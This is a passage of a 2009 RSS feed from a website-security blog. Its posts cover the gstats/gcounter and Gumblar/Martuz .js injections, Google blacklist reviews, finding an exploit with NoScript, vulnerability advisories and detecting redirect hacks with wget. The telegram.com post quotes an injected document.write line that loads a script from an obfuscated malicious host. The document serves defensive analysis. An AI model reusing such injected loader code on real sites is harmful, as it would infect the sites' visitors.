<p>No wonder, both <em><strong>gcounter .cn</strong></em> and <em><strong>gstats .cn</strong></em> reside on the same server with IP address of <em><strong>92.241.176.101</strong></em>.</p>
<p>The differences of the<em> gstats</em> modification from the above<em> gcounter</em> code are:</p>
<ul>
<li><em>gstats . cn</em> domain used</li>
<li>the code is more obfuscated and changes from site to site</li>
<li>the cookie names and the iframe ids also vary from site to site</li>
<li>I&#8217;ve seen this code only at the very bottom of <em>.js</em> file, so it may be slightly easier to find it.</li>
</ul>
<h3>Modification dates</h3>
<p>Another interesting fact about the infected .js files is they have pretty old modification dates. The newest file had a February&#8217;s modification date. And the oldest was not modified since January 2004. So it looks like the hackers can change the modification date of files once they inject the malicious code.</p>
<p>At this moment I don&#8217;t have any information about how the .js files get infected. I can only guess that it has to do with compromised FTP credential (as many other recent attacks).</p>
<ul>
<li>So be sure to check your local computers for malware.</li>
<li>then change all passwords</li>
<li>and refrain from saving them in programs you use to upload files to a web server (FTP clients, DreamWeaver, etc.).</li>
<li>Don&#8217;t use FTP if possible. This protocol is insecure. Use <a href="http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol">SFTP</a> instead &#8211; Most decent hosting plans include this option.</li>
<li>Browse the web with a secure browser. I recommend the Firefox+NoScript combo.</li>
</ul>
<h3>Have your say</h3>
<p>If you have more information about this exploit, please leave your comments here. The more we know about the attack the easier we can withstand it.</p>
<p>P.S. <span style="color: #333333;">This exploit is not directly detected by<a href="http://www.UnmaskParasites.com"> Unmask Parasites</a> since external .js files are not checked. However, some infected sites can be detected as suspicious if Google have already blacklisted them.  So click the &#8220;<em>details</em>&#8221; link next to  Google&#8217;s advisory and if you see <em><strong>gstats .cn</strong></em> or <em><strong>gcounter .cn</strong></em> on the diagnostic page you know where the malicious code hides.</span></p>
<p><a name="update"></a><span style="color: #333333;"><strong>Update</strong> Aug 31, 2009: <em>I&#8217;ve just found a script that injects a hidden </em></span><em><span style="color: #333333;"><strong>gcounter</strong> .cn</span> iframe at the bottom of an HTML file. This time it is detectable by <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>. So don&#8217;t forget to check HTML files (all web pages)  too.</em></p>
<p><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/05/13/noscript-helps-reveal-website-exploits-telegram-com-case/">NoScript Helps Reveal Website Exploits &#8211; Telegram .com Case</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/06/18/beladen-elusive-web-server-exploit/">Beladen &#8211; Elusive Web Server Exploit. (information for site owners and hosting providers)</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/">Gumblar .cn Exploit &#8211; 12 Facts About This Injected Script</a></li>
<li><a href="http://blog.unmaskparasites.com/category/website-exploits/">All reviewed website exploits</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/06/22/gstats-cn-and-gcounter-cn-malicious-code-in-js-files/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Gumblar/Martuz Aftermath</title>
		<link>http://blog.unmaskparasites.com/2009/05/26/gumblar-martuz-aftermath/</link>
		<comments>http://blog.unmaskparasites.com/2009/05/26/gumblar-martuz-aftermath/#comments</comments>
		<pubDate>Tue, 26 May 2009 14:07:37 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[gumblar]]></category>
		<category><![CDATA[Gumblaroid]]></category>
		<category><![CDATA[malware review]]></category>
		<category><![CDATA[martuz]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=216</guid>
		<description><![CDATA[The Gumblar/Martuz epidemic is currently on decline. Comparing with the last week, this week Unmask Parasites registers only a small fraction of Gumblar infected web sites. And I don&#8217;t see any new script mutations.
&#8220;Martuz .cn&#8221; domain no longer resolve and &#8220;gumblar .cn&#8221; is defunct (the domain is currently parked). This has stopped the surge of [...]]]></description>
			<content:encoded><![CDATA[<p>The Gumblar/Martuz epidemic is currently on decline. Comparing with the last week, this week <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> registers only a small fraction of Gumblar infected web sites. And I don&#8217;t see any new script mutations.</p>
<p>&#8220;Martuz .cn&#8221; domain <a href="http://blog.scansafe.com/journal/2009/5/19/gumblar-up-another-7-martuzcn-is-down.html">no longer resolve</a> and &#8220;gumblar .cn&#8221; is defunct (the domain is currently parked). This has stopped the surge of new infections. And the increased global awareness helped webmasters identify the problem and get rid of it.</p>
<h3>Recovered sites are still blacklisted</h3>
<p>Nonetheless, I can still see that many websites recovered from the gumblar/martuz attack are still blacklisted by Google. Their Safe Browsing diagnostic pages say something like:<br />
<span id="more-216"></span></p>
<blockquote><p>&#8220;Malicious software is hosted on 1 domain(s), including martuz .cn/.&#8221;</p></blockquote>
<p>or</p>
<blockquote><p>&#8220;Malicious software is hosted on 1 domain(s), including gumblar .cn/.&#8221;</p></blockquote>
<p>Their search results are labeled with the <em>&#8220;This site may harm your computer&#8221;</em> warning. Many browsers (FireFox 3, Safari, Google Chrome) won&#8217;t let visitors browse those sites displaying the &#8220;<em>Reported Attack Site</em>&#8221; warning.</p>
<p>Looking at the last visit date on the diagnostic pages, I see that webmasters didn&#8217;t request a review via Google&#8217;s <a href="http://www.google.com/webmasters/tools/">Webmaster Tools</a>.</p>
<p>Just a reminder: If your site is blacklisted by Google, clean up the site and request a review. Here you will find <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=1c3090220db34b1b&amp;hl=en">all the information you need about it</a>.</p>
<h3>Malware review tips</h3>
<p>I want to stress a few facts about the review process.</p>
<ol>
<li><strong>Do request the review.</strong> It was noticed that it takes significantly longer to remove the warning if the malware scanners find you site clean without a review request from a site owner. When they know that the site owner is aware of the problem, the process becomes smoother and <span style="text-decoration: underline;">the warning can be removed in just a few hours</span> after a successful review.</li>
<li><strong>Request the review as soon as possible.</strong> Although Google&#8217;s malware scanner can automatically visit your site, they are not as ubiquitous as Googlebot and it may take weeks before the next scheduled visit.</li>
<li><strong>Don&#8217;t be afraid to request the review</strong> even if you are not sure that your site is completely clean. If any security issues are detected during the review, they will be reported in your Webmaster Tools account. Then you can fix them and request another review.</li>
<li><strong>Don&#8217;t delete infected web pages.</strong> If Google reports specific URL as examples of web pages where malicious content was found, it expects to find these pages clean during the review. If the pages cannot be found, it may be considered as if they were temporarily removed just to pass the review. If you don&#8217;t need specific pages, try to empty them (you can remove them after a successful review) or configure your web server to return the <strong>410 Gone</strong> error. (<em><span style="color: #333333;">This information is not from official Google&#8217;s sources. It&#8217;s based on my own observations</span></em>)</li>
</ol>
<h3>Strive for complete recovery</h3>
<p>And a few more words to owners of websites recovered from the gumblar/martuz attack. If you requested the review, but it came back with a warning that your site is still infected, the chances are you haven&#8217;t removed the malicious code from all files.</p>
<p>This attack was very sophisticated. It modified many files, created backdoor scripts and changed directory permissions.  Even if <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> doesn&#8217;t detect any suspicious scripts in your web pages, the site can still be infected if you didn&#8217;t clean external <em><strong>.js</strong></em> files (they are not checked by Unmask Parasites). You can find more details about the exploit and what it takes to get rid of it <a title="12 facts about the Gumblar exploit + comments" href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/">in this article</a>. Make sure to read comments &#8211; they add much value to the article.</p>
<p><strong><span style="color: #888888;">Similar posts:</span></strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/">Gumblar .cn Exploit &#8211; 12 Facts About This Injected Script</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/05/18/martuz-cn-is-a-new-incarnation-of-gumblar-exploit/">Martuz .cn &#8211; New Incarnation of the Gumblar Exploit. So What’s New?</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/05/15/a-few-more-facts-about-the-gumblar-attack-from-sophoslab-and-scansafe/">A Few More Facts About the Gumblar Attack From SophosLab and ScanSafe.</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/05/26/gumblar-martuz-aftermath/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>NoScript Helps Reveal Website Exploits &#8211; Telegram .com Case</title>
		<link>http://blog.unmaskparasites.com/2009/05/13/noscript-helps-reveal-website-exploits-telegram-com-case/</link>
		<comments>http://blog.unmaskparasites.com/2009/05/13/noscript-helps-reveal-website-exploits-telegram-com-case/#comments</comments>
		<pubDate>Wed, 13 May 2009 14:11:58 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[msn.gif]]></category>
		<category><![CDATA[NoScript]]></category>
		<category><![CDATA[telegram]]></category>
		<category><![CDATA[xxyou .net]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=193</guid>
		<description><![CDATA[FireFox + NoScript

I usually suggest that you should use FireFox with the NoScript plugin for safer web browsing. This combo will save you from most web threats. Just remember one rule: Never use the &#8220;Allow this page&#8221; and the &#8220;Allow Scripts Globally&#8221; options.
NoScript reveals website exploits
NoScript is also a great helper in revealing tricky website [...]]]></description>
			<content:encoded><![CDATA[<h3 style="clear: both;">FireFox + NoScript</h3>
<p><img style="padding: 4px; margin: 0 7px 7px 2px; border: 0; display: inline; float: left; clear: both;" title="NoScript" src="http://blog.unmaskparasites.com/wp-content/uploads/2009/05/noscript.jpg" border="0" alt="Screenshot: NoScript" /></p>
<p style="margin-top: 0;">I usually suggest that you should use FireFox with the <a href="https://addons.mozilla.org/firefox/addon/722">NoScript</a> plugin for safer web browsing. This combo will save you from most web threats. Just remember one rule: <strong>Never</strong> use the &#8220;<em>Allow this page</em>&#8221; and the &#8220;<em>Allow Scripts Globall</em>y&#8221; options.</p>
<h3 style="clear: both;">NoScript reveals website exploits</h3>
<p>NoScript is also a great helper in revealing tricky website exploits.</p>
<p>Let me use the &#8220;<em>Telegram .com</em>&#8221; case to show how I use it.<span id="more-193"></span></p>
<p><em>Telegram .com</em> is a website of a Worcester, Ma newspaper. Google currently lists this site as <a href="http://www.google.com/safebrowsing/diagnostic?site=telegram.com">suspicious</a> and many browsers (FireFox3, Safary, Google Chrome) display a warning when you visit this site.</p>
<p>Google&#8217;s Safe-Browsing diagnostic page says:</p>
<blockquote><p>Malicious software is hosted on 3 domain(s), including <span style="text-decoration: underline;">baidubadu .com</span>/, <span style="text-decoration: underline;">tibetanpic .com</span>/, <span style="text-decoration: underline;">dsaff .com</span>/.</p>
<p>1 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including <span style="text-decoration: underline;">xxyou .net</span>/.</p></blockquote>
<p>I usually start my investigations with <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>. It is the fastest and safest way to detect many types of website security issues. However this time <a href="http://www.UnmaskParasites.com/security-report/?page=telegram.com">the report</a> only stated that Google listed this site as suspicious.</p>
<p>The next step was to load the site in Firefox (on a Linux machine to minimize security risks) and check the NoScript menu (it displays external domains that require JavaScript). There were quite a few domains in the menu, but none of then resembled the sites mentioned on the Google&#8217;s diagnostic page.</p>
<p>It was time to enable <em>telegram .com</em> in the NoScript menu. I clicked the &#8220;<em>Temporarily allow telegram .com</em>&#8220;. When the page reloaded I right-clicked on the NoScript icon and found a new suspicious entry in<br />
the menu: &#8220;<strong>Allow http: //%78%78%79%6F%75%2E%6E%65%74</strong>&#8221;</p>
<p><strong><img style="display: block; margin-top: 10px; margin-bottom: 10px; margin-left: auto; margin-right: auto; text-align: center; clear: both; border: #CCC 1px solid;" title="Telegram.com - NoScript menu with the xxyou .net item" src="http://blog.unmaskparasites.com/wp-content/uploads/2009/05/telegram-com-noscript-menu-with-the-xxyou-net-item.jpg" border="0" alt="Screenshot: Telegram.com - NoScript menu with the xxyou .net item" /> </strong></p>
<p style="margin-top: 0;">I decoded this URL: <strong>%78%78%79%6F%75%2E%6E%65%74</strong> = <strong>xxyou .net</strong></p>
<p style="margin-top: 0;">Bingo! This is the site mentioned as an intermediary on the Google&#8217;s diagnostic page.</p>
<p style="margin-top: 0;">The fact this domain appeared only after enabling scripts on <em>telegram .com</em> mean that the &#8220;<em>xxyou .net</em>&#8221; reference was hidden somewhere in .js files on <em>telegram .com</em> web server.</p>
<p style="margin-top: 0;">I downloaded (using wget) the .js files. No wonder, at the very bottom of the &#8220;<em>/assets/AC_RunActiveContent.js</em>&#8221; file I discovered the following code:</p>
<p style="margin-top: 0;"><code>document.write('&lt;script src=http: //%78%78%79%6F%75%2E%6E%65%74 /msn.gif&gt;&lt;/script&gt;');</code></p>
<p style="margin-top: 0;">Hope, despite of this hack, <em>Telegram .com</em> has decent webmasters and sysadmins, and they&#8217;ll figure out how their site was infected and will prevent any recurrence. This article is about detection only. (<span style="color: #333333;"><em>Update: After posting this article, I checked the site again and the malicious script was gone.</em></span> )</p>
<p style="margin-top: 0;">As you can see, NoScript helped reveal the exploit. At the same time it preserved me from a threat even after enabling JavaScript on <em>telegram .com</em>, since the rest external scripts were still disabled.</p>
<h3 style="margin-top: 0;">Want to share your tricks?</h3>
<p style="margin-top: 0;">If you know any other NoScript tricks, please share them in the comments section below. If you have any other security related tips and tricks, and want to share them with readers of my blog, you can <a href="http://blog.unmaskparasites.com/contact/">contact me </a>and offer a guest post.</p>
<p style="margin-top: 0pt;"><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/04/07/using-wget-to-detect-hijacked-search-engine-traffic/">Using Wget to Detect Hijacked Search Engine Traffic</a></li>
<li><a href="http://blog.unmaskparasites.com/category/tips-and-tricks/">All tips and tricks</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/05/13/noscript-helps-reveal-website-exploits-telegram-com-case/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vulnerability Advisories for Third-Party Scripts</title>
		<link>http://blog.unmaskparasites.com/2009/04/22/vulnerability-advisories-for-third-party-scripts/</link>
		<comments>http://blog.unmaskparasites.com/2009/04/22/vulnerability-advisories-for-third-party-scripts/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 16:06:36 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Secunia]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=165</guid>
		<description><![CDATA[Building sophisticated websites is pretty easy these days.  Whatever you want (blog, forum, eCommerce solution, picture gallery, video sharing site, or even your own social network) &#8211; there is a free third party script that you can use to build your site in a matter of hours.
However this ease comes at a price. Unfortunately, no [...]]]></description>
			<content:encoded><![CDATA[<p>Building sophisticated websites is pretty easy these days.  Whatever you want (blog, forum, eCommerce solution, picture gallery, video sharing site, or even your own social network) &#8211; there is a free third party script that you can use to build your site in a matter of hours.</p>
<p>However this ease comes at a price. Unfortunately, no software is perfect. Hackers have a great incentive to find vulnerabilities in popular scripts &#8211; if they find a security hole, they can exploit thousands (and sometimes even millions) of websites that use the buggy script.  And the fact that most popular script are free  <a href="http://en.wikipedia.org/wiki/Open_source_software">Open Source software</a> helps hackers immensely.<br />
<span id="more-165"></span><br />
If you are using third party scripts, the rule of thumb is to upgrade as soon as a new version or security patch is available.  Go to the vendor&#8217;s site and check if a new version is available. Subscribe to mailing lists or RSS feeds to be notified about upgrades and security issues of current versions.</p>
<p>If, for some reason, you prefer not to upgrade (bad idea), at least make sure the version you use doesn&#8217;t have known vulnerabilities.</p>
<h3>Secunia</h3>
<p>There is site called Secunia that provides up-to-date <a href="http://secunia.com/advisories/">vulnerability advisories</a>. You can search advisories <a href="http://secunia.com/advisories/product/">by product</a> or <a href="http://secunia.com/advisories/vendor/">by vendor</a>.</p>
<p>I&#8217;ve compiled a list of links to information about known vulnerabilities for a few popular scripts:</p>
<ul>
<li><span style="color: #888888;"><strong>CMS</strong></span>
<ul>
<li>Drupal 6.x  <a href="http://secunia.com/advisories/product/17839/?task=statistics">stats</a> / <a href="http://secunia.com/advisories/product/17839/?task=advisories">advisories</a></li>
<li>Joomla 1.x <a href="http://secunia.com/advisories/product/5788/?task=statistics">stats</a> /<a href="http://secunia.com/advisories/product/5788/?task=advisories">advisories</a></li>
<li>PHP-Nuke 8.x <a href="http://secunia.com/advisories/product/13524/?task=statistics">stats</a>/<a href="http://secunia.com/advisories/product/13524/?task=advisories">advisories</a></li>
</ul>
</li>
<li><span style="color: #888888;"><strong>Forums</strong></span>
<ul>
<li>phpBB 3.x <a href="http://secunia.com/advisories/product/17998/?task=statistics">stats</a> /<a href="http://secunia.com/advisories/product/17998/?task=advisories">advisories</a></li>
<li>SMF 1.x <a href="http://secunia.com/advisories/product/5285/?task=statistics">stats</a> /<a href="http://secunia.com/advisories/product/5285/?task=advisories">advisories</a></li>
</ul>
</li>
<li><span style="color: #888888;"><strong>E-Commerce</strong></span>
<ul>
<li>OS Commerce 2.x  <a href="http://secunia.com/advisories/product/1308/?task=statistics">stats</a> /<a href="http://secunia.com/advisories/product/1308/?task=advisories">advisories</a></li>
<li>Zen Cart 1.x  <a href="http://secunia.com/advisories/product/3488/?task=statistics">stats</a> /<a href="http://secunia.com/advisories/product/3488/?task=advisories">advisories</a></li>
</ul>
</li>
<li><span style="color: #888888;"><strong>Blogs</strong></span>
<ul>
<li>WordPress 2.x <a href="http://secunia.com/advisories/product/6745/?task=statistics">stats</a> /<a href="http://secunia.com/advisories/product/6745/?task=advisories">advisories</a></li>
</ul>
</li>
<li><span style="color: #888888;"><strong>Image Gallery</strong></span>
<ul>
<li>Coppermine Photo Gallery 1.x<a href="http://secunia.com/advisories/product/1427/?task=statistics"> stats</a> /<a href="http://secunia.com/advisories/product/1427/?task=advisories">advisories</a></li>
</ul>
</li>
<li><span style="color: #888888;"><strong>Education</strong></span>
<ul>
<li>Moodle 1.9.x <a href="http://secunia.com/advisories/product/20714/?task=statistics">stats</a> /<a href="http://secunia.com/advisories/product/20714/?task=advisories">advisories</a></li>
</ul>
</li>
<li><span style="color: #888888;"><strong>Auction</strong></span>
<ul>
<li>PHPauction 3.x  <a href="http://secunia.com/advisories/product/19763/?task=statistics">stats</a> /<a href="http://secunia.com/advisories/product/19763/?task=advisories">advisories</a></li>
</ul>
</li>
<li><span style="color: #888888;"><strong>Wiki</strong></span>
<ul>
<li>MediaWiki 1.x  <a href="http://secunia.com/advisories/product/2546/?task=statistics">stats</a> /<a href="http://secunia.com/advisories/product/2546/?task=advisories">advisories</a></li>
</ul>
</li>
</ul>
<p>Be proactive. If you have to use third party scripts, make sure they are secure and up-to-date. Don&#8217;t let your laziness ruin your site, your online business, and your reputation.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/04/22/vulnerability-advisories-for-third-party-scripts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using Wget to Detect Hijacked Search Engine Traffic</title>
		<link>http://blog.unmaskparasites.com/2009/04/07/using-wget-to-detect-hijacked-search-engine-traffic/</link>
		<comments>http://blog.unmaskparasites.com/2009/04/07/using-wget-to-detect-hijacked-search-engine-traffic/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 10:42:37 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[wget]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=145</guid>
		<description><![CDATA[Some time ago I had a series of post about the .htaccess exploit that redirected search engine traffic to bogus Antivirus sites.
This sort of exploit is still very wide-spread. Many site owners wonder why Google blacklists their sites when their web pages are absolutely benign and sites mentioned on Google&#8217;s Safe Browsing Diagnostic pages have [...]]]></description>
			<content:encoded><![CDATA[<p>Some time ago I had a series of post about the <a href="http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/">.htaccess exploit</a> that <a href="http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/">redirected search engine traffic to bogus Antivirus sites</a>.</p>
<p>This sort of exploit is still very wide-spread. Many site owners wonder why Google blacklists their sites when their web pages are absolutely benign and sites mentioned on Google&#8217;s Safe Browsing Diagnostic pages have absolutely nothing to do with their site&#8217;s content.</p>
<p>Here is an excerpt from a typical Safe Browsing Diagnostic page for an affected site:</p>
<blockquote><p><em>Malicious software is hosted on 5 domain(s), including <strong>best-antimalware-pro-scan .com/</strong>, <strong>fastantimalwareproscanner .com</strong>/,<strong> fullantispywareproscan .com</strong>/.</em></p>
<p><em>4 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including <strong>module-antispyware .info</strong>/, <strong>securedradiostation .cn</strong>/, <strong>great-antispyware .info</strong>/.</em></p></blockquote>
<p>When I see multiple antivirus-related domain names in the diagnostics, I almost sure the site has a hacked .htaccess file that redirects search engine traffic to scam sites. Still I need to verify my guess.<br />
<span id="more-145"></span></p>
<h3>Detection</h3>
<p>The easiest way is to use a web browser. Just go to Yahoo and search for the domain name. Then click on the site&#8217;s search results. (You can&#8217;t use Google because it won&#8217;t let you click through the blacklisted links.) If the assumption about the .htaccess hack is correct, you will land on some bogus antivirus site or on a porn site.</p>
<p>While this detection technique works well, it&#8217;s not desirable to use it in  real life. It is very unsafe. You expose your own system to unnecessary threats browsing the malicious sites.</p>
<p><a href="http://www.UnmaskParasites.com">Unmask Parasites</a> used to be the safest and the easiest way to detect malicious redirects. Unfortunately the current modification of this exploit is poorly detected by Unmask Parasites (I&#8217;m working on the update) so I&#8217;ll show how to use another free tool called <em>wget</em>.</p>
<h3>Wget</h3>
<p><a href="http://wget.addictivecode.org/FrequentlyAskedQuestions?action=show&amp;redirect=Faq">Wget</a> is a free command-line tool that retrieves files using HTTP(S) and FTP protocols. If you are on Linux or Mac, you should already have it. If you are on Windows &#8211; <a href="http://www.christopherlewis.com/WGet/WGetFiles.htm">download wget here</a>.</p>
<p>I&#8217;m using wget because:</p>
<ul>
<li>It&#8217;s safe. It doesn&#8217;t execute any code, it just downloads files.</li>
<li>It can be configured to simulate almost everything normal browsers can do. We&#8217;ll configure it to pretend to be referred from Google.</li>
<li>It follows redirects.</li>
<li>It logs everything so we can see what&#8217;s going on behind the scenes.</li>
<li>It&#8217;s free and easy to use.</li>
</ul>
<p>Here is the wget command that you can use to reveal hijacked search engine traffic:</p>
<p><code>wget --referer=http://google.com "http://www.example.com/"</code></p>
<p>This command downloads a web page from www.example.com (replace it with your own site address).</p>
<p>The -<em>-referer</em> option sets the Referer header in a HTTP request. It makes the www.example.com web server think that a user clicked on a link on the referer site to get to the www.example.com site. In our case we use <strong>-<span style="color: #333333;">-referer=http://google.com</span></strong> to simulate a click on a Google&#8217;s search result. Alternatively you can use <strong>-<span style="color: #333333;">-referer=http://yahoo.com</span></strong> to simulate a click on a Yahoo&#8217;s search result.</p>
<p>If this request gets redirected, you will see responses (301 or 302) with new locations in the command log.</p>
<p>Here is a sample wget log of one hacked site (I replaced its address with www.example.com):</p>
<p><code>&gt;wget --referer=http://google.com "http://www.example.com/"<br />
--01:47:54--  http://www.example.com/<br />
=&gt; `index.html'<br />
Resolving www.example.com... done.<br />
Connecting to www.example.com[216.193.xxx.xx]:80... connected.<br />
HTTP request sent, awaiting response... <strong>302 Found</strong><br />
Location: http://<strong>spyware-software .info/0/go.php?sid=2</strong> [following]<br />
--01:47:55--  http://spyware-software .info/0/go.php?sid=2<br />
=&gt; `go.php@sid=2'<br />
Resolving spyware-software .info... done.<br />
Connecting to spyware-software .info[195.245.119.150]:80... connected.<br />
HTTP request sent, awaiting response... <strong>302 Moved Temporarily</strong><br />
Location: http://<strong>tubeloyaln .com/scan/?id=260</strong> [following]<br />
--01:47:55--  http://tubeloyaln .com/scan/?id=260<br />
=&gt; `index.html@id=260.1'<br />
Resolving tubeloyaln .com... done.<br />
Connecting to tubeloyaln .com[92.38.0.41]:80... connected.<br />
HTTP request sent, awaiting response... 200 OK<br />
Length: unspecified [text/html]<br />
[     &lt;=&gt;                             ] 15,987         8.86K/s<br />
01:47:58 (8.86 KB/s) - `index.html@id=260.1' saved [15987]</code></p>
<p>You can see a chain of 302 redirects here: <em>www.example.com -&gt; spyware-software .info -&gt; tubeloyaln .com</em></p>
<p>The names of the malicious sites used in this chain change almost every day, so most likely you&#8217;ll see the sites that doesn&#8217;t match the sites mentioned on the Google&#8217;s diagnostic page. Still the domain names are very similar:  e.g. <em><strong>spyware-software .info</strong></em> vs. <em><strong>module-antispyware .info</strong></em></p>
<p>In this example, instead of the home page of www.example.com wget downloaded a fake &#8220;My computer Online Scan&#8221; scam page from the tubeloyaln .com. If you remove the -<em>-referer</em> option from the wget command, you&#8217;ll get no redirects and the real home page of the www.example.com site will be downloaded.</p>
<p>If you detect the malicious redirects, check <a href="http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/">this article</a> to find out how to resolve the issue.</p>
<p>Hope this little trick will save your time.</p>
<p><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/">Bogus Antivirus 2009 .htaccess Exploit.</a></li>
<li><a href="http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/">Unmasking the Antivirus 2009 .htaccess Exploit.</a></li>
<li><a href="http://blog.unmaskparasites.com/category/website-exploits/">Other reviewed website exploits</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/04/07/using-wget-to-detect-hijacked-search-engine-traffic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
